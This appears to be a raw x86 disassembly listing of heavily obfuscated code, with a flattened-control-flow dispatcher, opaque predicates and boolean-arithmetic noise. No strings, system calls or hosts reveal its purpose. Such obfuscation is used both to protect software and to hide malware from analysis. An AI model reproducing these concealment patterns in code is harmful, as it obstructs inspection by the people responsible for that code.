cmp eax, 0xe3f1811f
je 0x40aff8
cmp eax, 0xe42d9011
jne 0x402260
mov ecx, dword [0x460984]
mov edi, 0xcf41bad
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xaff9f2cf
and eax, 0x50060d30
or edx, eax
xor edx, 0xaff9f2cf
or ecx, edx
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0x84184e58
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x7be7b1a6
or ecx, esi
mov esi, edx
not esi
and edx, 0x84184e59
or eax, esi
and esi, 0x7be7b1a6
or edx, esi
not eax
mov esi, 0x67a35d84
xor edx, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x9e4819bd
and ecx, eax
not eax
and eax, 0x9e4819bd
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x784ea151
and eax, 0x87b15eae
or ecx, eax
mov eax, ecx
xor eax, 0xc406308c
xor ecx, 0x10800302
and ecx, 0x32808b62
and eax, 0xcd7f749d
or eax, ecx
mov ecx, eax
xor ecx, 0x89295498
xor eax, 0x2000220
and eax, 0x46562225
and ecx, 0xb9a9ddda
or ecx, eax
cmp ecx, 0xb9a9ddda
sete cl
cmp dword [0x460980], 0xa
setge al
mov edx, eax
xor dl, cl
xor dl, 1
mov ah, dl
and dl, cl
or ah, al
or al, cl
xor al, 1
mov cl, ah
or al, dl
xor cl, al
xor al, 1
or al, ah
mov edx, ecx
xor dl, al
not dl
test dl, 1
cmovne edi, esi
test cl, cl
mov esi, 0xcf41bad
cmovne esi, edi
test al, al
cmovne esi, edi
mov eax, esi
jmp 0x402260
cmp eax, 0x430727a
jg 0x4073fb
cmp eax, 0x252754c
je 0x40b011
cmp eax, 0x3386249
je 0x40b026
cmp eax, 0x3cdfc14
jne 0x402260
mov eax, dword [0x460984]
mov edi, 0xec07b53b
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0xab4ca6bf
and ecx, 0x54b35940
or eax, edx
or ecx, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x147f8cf9
and edx, 0xeb807306
or edx, esi
mov esi, ecx
xor esi, 0x40805100
xor ecx, 0xab4ca6bf
or eax, ecx
and ecx, 0x147f8cf9
and esi, 0xeb807306
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x16d4426e
mov ecx, eax
not ecx
and eax, 0x2ba98387
and ecx, 0xd4567c78
or eax, ecx
xor eax, 0x2ba98387
sete al
setne cl
cmp dword [0x460980], 0xa
setge dl
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xec07b53b
cmovne edx, esi
test al, al
jmp 0x41000c
cmp eax, 0x89c4bbe1
jg 0x40750d
cmp eax, 0x871e1655
je 0x40b03e
cmp eax, 0x87d8e66a
je 0x40b170
cmp eax, 0x88737a26
jne 0x402260
mov eax, 0x93fafd88
jmp 0x402260
cmp eax, 0x464db57a
jg 0x40766e
cmp eax, 0x44100374
je 0x40b2e9
cmp eax, 0x4478a290
je 0x40b491
cmp eax, 0x44a4d075
jne 0x402260
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, 0xe00275e7
jmp 0x402260
cmp eax, 0xc3d1a860
jg 0x407701
cmp eax, 0xc0d6b759
je 0x40b4a1
cmp eax, 0xc18fd32f
je 0x40b5bb
cmp eax, 0xc1bce97a
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xb733cd7c
and eax, 0x48cc3283
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x18cbaa54
mov esi, edx
and esi, 0xe73455ab
or ecx, esi
mov esi, eax
xor esi, 0x8c82200
xor eax, 0xa7304528
and eax, 0xe73455ab
and esi, 0x18cbaa54
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0xe1c79523
setne al
cmp dword [0x460980], 0xa
setge ah
setl dl
mov cl, ah
and dl, al
or cl, al
inc al
and al, ah
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
or dl, ch
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
or al, cl
and dl, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd0751a51
cmovne eax, esi
test dl, dl
mov edx, 0xd0751a51
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0x29583a01
jg 0x40789f
cmp eax, 0x24d52ca5
je 0x40b5d0
cmp eax, 0x2660f433
je 0x40b5da
cmp eax, 0x2811d4be
jne 0x402260
mov eax, 0x7572331c
jmp 0x402260
cmp eax, 0xa3392179
jg 0x4078ca
cmp eax, 0xa177d645
je 0x40b6fd
cmp eax, 0xa1aff802
je 0x40b9b7
cmp eax, 0xa2245978
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x401521
and eax, 0x2900818
mov edx, ecx
and edx, 0xc92ce0c2
or ecx, 0x80045102
or esi, edx
and ecx, 0xb4075306
mov edx, esi
xor edx, 0x400421
xor esi, 0xb4074206
or eax, ecx
and esi, 0xb4075306
and edx, 0x4968a4e1
or edx, esi
mov esi, 0x3386249
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x4d1d3396
and ecx, 0xb2e2cc69
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xa821102
xor ecx, 0x8471c675
xor edx, 0x8471c674
and edx, ecx
and eax, 0x8ee39153
and ecx, 0x711c6eac
or ecx, eax
xor ecx, 0x711c6ead
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9b6b28c5
and eax, 0x6494d73a
or ecx, eax
mov eax, ecx
xor eax, 0x6414512a
xor ecx, 0x82a2085
and ecx, 0x8aaa695
and eax, 0xf755596a
or eax, ecx
cmp eax, 0xf755596a
setne dl
cmp dword [0x460980], 0xa
setl ah
setge al
mov cl, ah
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
or dl, ah
xor dl, 1
and al, ah
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x8e7a6a1a
cmovne ecx, esi
test al, 1
mov eax, 0x8e7a6a1a
jmp 0x402252
cmp eax, 0x67dbf311
jg 0x4079ce
cmp eax, 0x67345952
je 0x40b9cc
cmp eax, 0x67a35d84
je 0x40bb91
cmp eax, 0x67b596e2
jne 0x402260
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x178], eax
mov eax, 0xf17ba837
jmp 0x402260
cmp eax, 0xf104eb80
jg 0x407a9c
cmp eax, 0xf049f6ec
je 0x40bb9e
cmp eax, 0xf0d37f9a
je 0x40bbe3
cmp eax, 0xf0dda274
jne 0x402260
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x104]
mov esi, 0xcd424259
mov dword [eax], ecx
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x100b9b9
and eax, ecx
not ecx
mov edx, ecx
and edx, 0x100b9b9
or eax, edx
mov edx, eax
not edx
and eax, 0x8f7dd7fa
and edx, 0x70822805
or eax, edx
xor eax, 0x718291bd
or eax, ecx
xor eax, 0xffffffff
setne al
sete ah
cmp dword [0x460980], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
and cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
or dl, ah
and ah, cl
mov ecx, 0x22f3fafd
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0x22f3fafd
jmp 0x411c9e
cmp eax, 0x17a456d7
jg 0x407add
cmp eax, 0x16b6c431
je 0x40bcec
cmp eax, 0x16d4426e
je 0x40bcfd
cmp eax, 0x16f25a6d
jne 0x402260
mov ecx, dword [ebp - 0x1b8]
mov edx, ecx
mov esi, ecx
xor esi, 0x8ef4cd86
not edx
mov eax, edx
and esi, ecx
and eax, 0x8ef4cd86
and edx, 0x5e3281a7
and ecx, 0xa1cd7e58
or eax, esi
not esi
or ecx, edx
and esi, 0x310b3279
and eax, 0xcef4cd86
or eax, esi
mov esi, eax
not esi
and eax, 0xc7820a1f
and esi, 0x387df5e0
or eax, esi
mov esi, ecx
xor esi, 0xc03418
xor ecx, 0x5e3281a7
mov edi, eax
xor edi, 0x4480001f
xor eax, 0x387df5e0
and esi, 0x44f0341f
mov edx, eax
or eax, ecx
and ecx, 0xbb0fcbe0
and edx, 0xbb0fcbe0
and edi, 0x44f0341f
or edi, edx
or esi, ecx
not eax
xor esi, edi
or eax, esi
mov ecx, eax
not ecx
and eax, 0x1ae15c42
and ecx, 0xe51ea3bd
or eax, ecx
mov ecx, 0xe05e630c
cmp eax, 0x1ae15c42
mov eax, 0x5880f8e4
cmove eax, ecx
jmp 0x402260
cmp eax, 0x96bfc6f2
jg 0x407bfe
cmp eax, 0x94291b8f
je 0x40bd07
cmp eax, 0x95c2774a
je 0x40be05
cmp eax, 0x96bebc1b
jne 0x402260
mov eax, 0x5729bdff
jmp 0x402260
cmp eax, 0x5880f8e3
jg 0x407c3d
cmp eax, 0x56132739
je 0x40be2d
cmp eax, 0x5729bdff
je 0x40be37
cmp eax, 0x586e1bb9
jne 0x402260
mov eax, dword [ebp - 0x1c]
mov eax, 0x8ef2599c
jmp 0x402260
cmp eax, 0xd60cdd95
jg 0x407c68
cmp eax, 0xd24a0a75
je 0x40beea
cmp eax, 0xd45487d7
je 0x40befb
cmp eax, 0xd587685f
jne 0x402260
cmp byte [ebp - 0x9d], 0
mov eax, 0xadbc636b
mov ecx, 0x820b5f5c
cmovne eax, ecx
jmp 0x402260
cmp eax, 0x3773b08d
jg 0x407c9e
cmp eax, 0x352547a4
je 0x40bfde
cmp eax, 0x358bc6c6
je 0x40c0d6
cmp eax, 0x3676ca0e
jne 0x402260
mov eax, dword [0x460984]
mov edi, 0xd24a0a75
mov dword [ebp - 0x24], 0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8157418
and eax, 0xf7ea8be7
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xf7ea8be6
xor ecx, 0x8157418
xor edx, 0x8157419
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x44a966cf
mov esi, eax
and esi, 0xbb569930
or edx, esi
mov esi, ecx
not esi
and ecx, 0x44a966cf
or eax, esi
and esi, 0xbb569930
or ecx, esi
not eax
mov esi, 0x8b2825b2
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2ae5098f
and ecx, 0xd51af670
or eax, ecx
mov ecx, eax
xor ecx, 0x2261088c
xor eax, 0x100a7660
and eax, 0x188e7763
and ecx, 0xe771889c
or ecx, eax
mov eax, ecx
xor eax, 0x88c6660
xor ecx, 0xe771889c
mov edx, ecx
and edx, 0xb7021113
and eax, 0x48fdeeec
or eax, edx
xor eax, 0xb7021113
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x460980], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xd24a0a75
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x402260
cmp eax, 0xb00bb6d1
jg 0x407cf7
cmp eax, 0xadc85ac6
je 0x40c24d
cmp eax, 0xaeffec51
je 0x40c257
cmp eax, 0xafa0f6de
jne 0x402260
mov eax, 0xd6aa17a4
jmp 0x402260
cmp eax, 0x7829dfec
jg 0x407d31
cmp eax, 0x7572331c
je 0x40c261
cmp eax, 0x76bc956d
je 0x40c3c4
cmp eax, 0x77cf98f1
jne 0x402260
mov eax, 0xa3876a95
jmp 0x402260
cmp eax, 0xe1df8780
jg 0x407d5c
cmp eax, 0xe11ba0cc
je 0x40c474
cmp eax, 0xe13e7328
je 0x40c485
cmp eax, 0xe1c79523
jne 0x402260
mov eax, dword [ebp - 0x70]
mov eax, 0xd0751a51
jmp 0x402260
cmp eax, 0xfa36a0c
jg 0x407e9f
cmp eax, 0xcf41bad
je 0x40c496
cmp eax, 0xe19cb5e
je 0x40c596
cmp eax, 0xf07cac0
jne 0x402260
mov eax, 0x16f25a6d
jmp 0x402260
cmp eax, 0x90b7ac3f
jg 0x407edd
cmp eax, 0x8e7a6a1a
je 0x40c5a3
cmp eax, 0x8ee6a031
je 0x40c66d
cmp eax, 0x8ef2599c
jne 0x402260
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x138], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xc04a524
and eax, 0xf3fb5adb
or edx, eax
mov edi, edx
mov eax, edx
xor eax, 0xb39b4840
xor edi, 0xc04a524
xor edx, 0x29ae01f2
and edx, edi
and eax, 0xbb9f4c44
and edi, 0x4460b3bb
or edi, eax
mov eax, edi
mov esi, edi
xor eax, 0x4460b3bb
xor esi, 0x9e35e892
xor edi, 0xa9814c04
and esi, eax
and edi, 0xe9a16c96
mov ecx, esi
not ecx
and esi, 0x47768e2a
mov ebx, ecx
and ebx, 0xb88971d5
or esi, ebx
mov ebx, edx
not ebx
and edx, 0x47768e2a
or ecx, ebx
and ebx, 0xb88971d5
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x25aaa4d7
and edx, 0xda555b28
or ecx, edx
mov edx, eax
and edx, 0x165e9369
and eax, 1
or edx, edi
mov esi, edx
xor esi, 0x48212095
xor edx, 0x6080040
or eax, esi
and edx, 0xa7884c42
and eax, 0x5877b3bd
or eax, edx
mov edx, ecx
not edx
and ecx, 0x9868b9a0
mov esi, edx
and esi, 0x6797465f
or ecx, esi
mov esi, eax
xor esi, 0x1860b1a0
xor eax, 0xa7884c42
or edx, eax
and eax, 0x6797465f
and esi, 0x9868b9a0
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x42018c32
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0xc98dd4fd
and edx, 0x36722b02
or ecx, edx
xor ecx, 0xc98dd4fd
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc2f968b0
mov edx, ecx
and edx, 0x3d06974f
or eax, edx
xor eax, 0xc2f968b0
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x460980], 0xa
mov ah, dl
setge cl
xor al, cl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
mov edx, ecx
not dl
and dl, al
or al, cl
and cl, ah
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x586e1bb9
cmovne ecx, esi
test al, 1
mov eax, 0x586e1bb9
jmp 0x40e0cc
cmp eax, 0x51918cf5
jg 0x407f08
cmp eax, 0x4db910a9
je 0x40c677
cmp eax, 0x4eba4f66
je 0x40c777
cmp eax, 0x51565b91
jne 0x402260
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, 0xdbad5eb0
jmp 0x402260
cmp eax, 0xcd186eb3
jg 0x407f50
cmp eax, 0xcabc9eef
je 0x40c8dc
cmp eax, 0xcc88fbdf
je 0x40c91c
cmp eax, 0xcc8f6764
jne 0x402260
cmp byte [ebp - 0x93], 0
mov eax, 0x16b6c431
mov ecx, 0xcd186eb4
cmovne eax, ecx
jmp 0x402260
cmp eax, 0x31f1b4aa
jg 0x407fac
cmp eax, 0x2e94fe30
je 0x40c926
cmp eax, 0x2ffebdee
je 0x40c930
cmp eax, 0x3135ab02
jne 0x402260
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
sets byte [ebp - 0x9f]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x8028c703
and ecx, 0x7316205c
mov edx, eax
and edx, 0xcc118a0
or esi, edx
xor esi, 0x8028c703
or ecx, esi
mov esi, 0xadc85ac6
mov edx, ecx
not edx
and ecx, 0xfc1979df
and edx, 0x3e68620
or ecx, edx
mov edx, ecx
xor edx, 0x1010a009
xor ecx, 0x890a5880
and ecx, 0xe9ea5ef4
and edx, 0x1615a10b
or edx, ecx
xor edx, 0x1615a10b
or edx, eax
xor edx, 0xffffffff
sete ah
setne ch
cmp dword [0x460980], 0xa
mov cl, ah
setl al
setge dl
xor cl, al
xor ch, dl
or dl, ah
or al, ah
and cl, ah
xor al, 1
xor cl, 1
or al, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x6d7d8694
cmovne ecx, esi
test dl, 1
mov edx, 0x6d7d8694
jmp 0x40c58c
cmp eax, 0xa7e336d8
jg 0x4081a2
cmp eax, 0xa63ef308
je 0x40c950
cmp eax, 0xa6e1433c
je 0x40c967
cmp eax, 0xa7c85947
jne 0x402260
mov ecx, dword [0x460984]
mov edi, 0xfeb520d9
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1170b040
and eax, 0xc40d0711
mov edx, ecx
and edx, 0x4820
or ecx, 0x1170a020
or esi, edx
and ecx, 0x3bf2a0ae
mov edx, esi
xor edx, 0x1040
xor esi, 0x2a8200ae
or eax, ecx
and esi, 0x3bf2a0ae
and edx, 0x5840
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x55bf2f06
and ecx, 0xaa40d0f9
or eax, ecx
mov esi, eax
xor esi, 0xbb302899
mov edx, eax
xor edx, 0x44ec362
and eax, 1
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0xbd5eeb6a
or eax, esi
mov esi, ecx
and esi, 0x42a11495
or edx, esi
mov esi, eax
not esi
and eax, 0xbd5eeb6a
or ecx, esi
and esi, 0x42a11495
or eax, esi
not ecx
mov esi, 0xafa0f6de
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfa34fde2
and eax, 0x5cb021d
or eax, ecx
xor eax, 0xfa34fde2
sete al
setne cl
cmp dword [0x460980], 0xa
setge dl
setl ah
and ah, cl
mov ecx, edx
and cl, al
xor al, dl
or cl, ah
and al, dl
or al, cl
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov ah, cl
xor ah, dl
test cl, cl
mov ecx, 0xfeb520d9
cmovne ecx, esi
test dl, dl
cmovne ecx, edi
test ah, ah
jmp 0x40e864
cmp eax, 0x6f6b63a1
jg 0x4081cd
cmp eax, 0x6d240aa3
je 0x40ca4a
cmp eax, 0x6d7d8694
je 0x40cb6b
cmp eax, 0x6eb9942c
jne 0x402260
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov eax, 0xf19d6054
jmp 0x402260
cmp eax, 0xf889187b
jg 0x408204
cmp eax, 0xf5a543ec
je 0x40cb78
cmp eax, 0xf6391532
je 0x40cc9b
cmp eax, 0xf733dacd
jne 0x402260
cmp byte [ebp - 0x99], 0
mov eax, 0x727a9e7c
mov ecx, 0x62a5e2f8
cmovne eax, ecx
jmp 0x402260
cmp eax, 0x1d1ad099
je 0x40cd9a
cmp eax, 0x1e23d22e
je 0x40cdc8
cmp eax, 0x1f889e9c
jne 0x402260
mov eax, 0x696141c8
jmp 0x402260
cmp eax, 0x9c82f6e3
je 0x40cdd2
cmp eax, 0x9c9f5ba1
je 0x40cddf
cmp eax, 0x9cd4d49b
jne 0x402260
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
not ecx
or edx, 1
mov edi, ecx
mov esi, edx
and esi, 0x2191cdee
and edi, 0xde6e3210
and ecx, 0x12a2118c
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xed5dee73
mov ebx, esi
not ebx
and esi, 0xde6e3211
or eax, ecx
or edx, ebx
and ebx, 0x2191cdee
xor eax, 0xed5dee73
or esi, ebx
not edx
xor esi, edi
mov edi, 0xa42841a6
or edx, esi
mov esi, edx
not esi
and edx, 0xf2ee84cc
and esi, 0xd117b33
or edx, esi
mov esi, 0x65666131
xor edx, 0xf2ee84cc
or eax, edx
xor eax, 0xffffffff
sete dl
setne ch
cmp dword [0x460980], 0xa
mov ebx, edx
setge al
setl ah
mov dh, al
or bl, al
and ah, ch
xor dh, dl
mov cl, dh
and dh, al
not cl
and cl, al
and al, dl
xor cl, 1
or al, ah
mov bh, cl
or cl, bl
or al, dh
xor bh, bl
xor cl, 1
or cl, bh
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov ah, cl
xor ah, dl
test cl, 1
mov ecx, 0xa42841a6
cmovne ecx, esi
test dl, 1
cmovne ecx, edi
test ah, 1
jmp 0x40e864
cmp eax, 0x5e42621e
je 0x40cde9
cmp eax, 0x5eb23d5a
je 0x40cdf6
cmp eax, 0x60b45ff9
jne 0x402260
mov ecx, dword [0x460984]
mov edi, 0xa16df06c
mov dword [ebp - 0x24], 7
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x20e20ece
and eax, 0x6e7a01eb
mov esi, edx
and esi, 0xdf1df130
or ecx, esi
mov esi, ecx
xor esi, 0x2080044c
xor ecx, 0xdb117121
and ecx, 0xdb737ba3
and esi, 0x248c845c
or esi, ecx
mov ecx, edx
or ecx, 0xdb737ba2
and edx, 0x9185fe14
and ecx, 0xdb737ba3
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x6782d298
mov esi, edx
and esi, 0x987d2d67
or ecx, esi
mov esi, eax
xor esi, 0x66020088
xor eax, 0x90052c04
and eax, 0x987d2d67
and esi, 0x6782d298
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xe11ba0cc
sete dl
setne ch
cmp dword [0x460980], 0xa
setge cl
setl ah
mov al, cl
mov dh, cl
or cl, ch
xor dh, ch
or ch, ah
xor ah, dl
xor cl, 1
or al, dl
or cl, ah
mov bl, ch
xor cl, 1
xor bl, al
or al, ch
or cl, dh
xor al, 1
mov ah, cl
or al, bl
xor ah, 1
mov ch, al
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
and ch, al
or dl, cl
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402260
cmp eax, 0xdaa7c97e
je 0x40ce09
cmp eax, 0xdba604b1
je 0x40ce13
cmp eax, 0xdbad5eb0
jne 0x402260
mov eax, dword [ebp - 0x3c]
mov esi, 0x80972f5c
mov dword [eax], 0x40
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 1
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x35cbcdbe
and edx, 0xca343241
or eax, edx
xor eax, 0x35cbcdbe
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xea8b62d6
and ecx, 0x15749d29
or eax, ecx
xor eax, 0xea8b62d6
sete cl
setne ah
cmp dword [0x460980], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
mov cl, al
or dl, ch
xor cl, 1
and al, dl
xor dl, 1
mov ah, dl
xor ah, cl
and cl, dl
and ah, dl
or cl, al
mov edx, 0x51565b91
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, esi
test ah, 1
jmp 0x4103a8
cmp eax, 0x3deb4d75
je 0x40d031
cmp eax, 0x3e2d4f63
je 0x40d05c
cmp eax, 0x3e30e3d1
jne 0x402260
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, 0xf6391532
jmp 0x402260
cmp eax, 0xb8ea2070
je 0x40d066
cmp eax, 0xb937c7df
je 0x40d1ed
cmp eax, 0xbad50004
jne 0x402260
mov eax, dword [ebp - 0x118]
sub eax, 0xffffff80
mov dword [ebp - 0x190], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x70592
mov esi, ecx
xor esi, 0x80471592
mov edx, eax
and edx, 0x80401000
and esi, ecx
and eax, 0xb3a578dd
or edi, edx
xor edi, 0x70592
or esi, edi
mov edx, esi
not edx
and esi, 0xe9ccf7e6
and edx, 0x16330819
or esi, edx
mov edx, esi
xor edx, 0x9890215
xor esi, 0x300c88
and esi, 0x6032ece8
and edx, 0x9fcd1317
or edx, esi
mov esi, edx
xor esi, 0x93851015
xor edx, 0x6032ece8
mov edi, edx
or edx, ecx
and ecx, 0x4c5a8722
and edi, 0x4c5a8722
and esi, 0xb3a578dd
or esi, edi
or eax, ecx
not edx
mov edi, 0xd729d007
xor eax, esi
mov esi, 0x6708878b
or edx, eax
mov eax, edx
not eax
and edx, 0xf3eb9f7b
and eax, 0xc146084
or edx, eax
xor edx, 0xf3eb9f7b
setne dl
sete ah
cmp dword [0x460980], 0xa
mov ecx, edx
setl ch
setge al
and cl, al
and ch, ah
xor dl, al
or ch, cl
and dl, ah
mov cl, ch
xor cl, al
or al, ah
xor al, 1
and cl, ch
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xd729d007
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, ecx
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x402260
cmp eax, 0x7bb74da0
je 0x40d200
cmp eax, 0x7cde42f7
je 0x40d20d
cmp eax, 0x7cde4fee
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x3000019
mov edx, eax
and edx, 0x8c39c000
and eax, 0xe6b09cb6
or esi, edx
mov edx, ecx
and edx, 0x70c63fe6
and ecx, 0x194f6349
xor esi, 0x3000019
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x3745317d
and esi, 0xc8bace82
or edx, esi
mov esi, edx
xor esi, 0xa0309024
xor edx, 0x47830e9a
mov edi, edx
and edi, 0x194f6349
and esi, 0xe6b09cb6
or esi, edi
xor eax, esi
mov esi, 0x387dc046
not eax
or eax, edx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x460980], 0xa
setl cl
setge al
and cl, ah
mov ah, dl
and ah, al
or cl, ah
xor cl, 1
or cl, al
xor al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xfcb4ead9
cmovne eax, esi
test dl, 1
mov edx, 0xfcb4ead9
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0xe850e28b
je 0x40d217
cmp eax, 0xe9760c9f
je 0x40d22b
cmp eax, 0xe986c639
jne 0x402260
mov eax, dword [ebp - 0xb0]
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x240a6304
mov esi, ecx
mov edi, ecx
or esi, 0x9901903a
and edx, 0xbd0bf33e
and edi, 0xb00401
and ecx, 0x7b7700a7
or edi, edx
mov edx, eax
and esi, 0xbd0bf33e
and edx, 0x424408c0
and eax, 0x8488ff58
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x8488ff58
mov esi, edx
not esi
and edx, 0x99b1943a
and esi, 0x664e6bc5
or edx, esi
mov esi, edx
not esi
and edx, 0x2568dbd9
and esi, 0xda972426
or edx, esi
mov esi, 0x2437b99e
xor edx, 0x2568dbd9
or eax, edx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x460980], 0xa
mov edx, ecx
setl ch
setge al
and cl, ch
and dl, al
and ch, ah
or ch, dl
mov dl, ch
xor dl, al
and al, ah
or al, cl
and dl, ch
mov ecx, edx
mov ah, al
not cl
not ah
and ah, dl
and cl, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
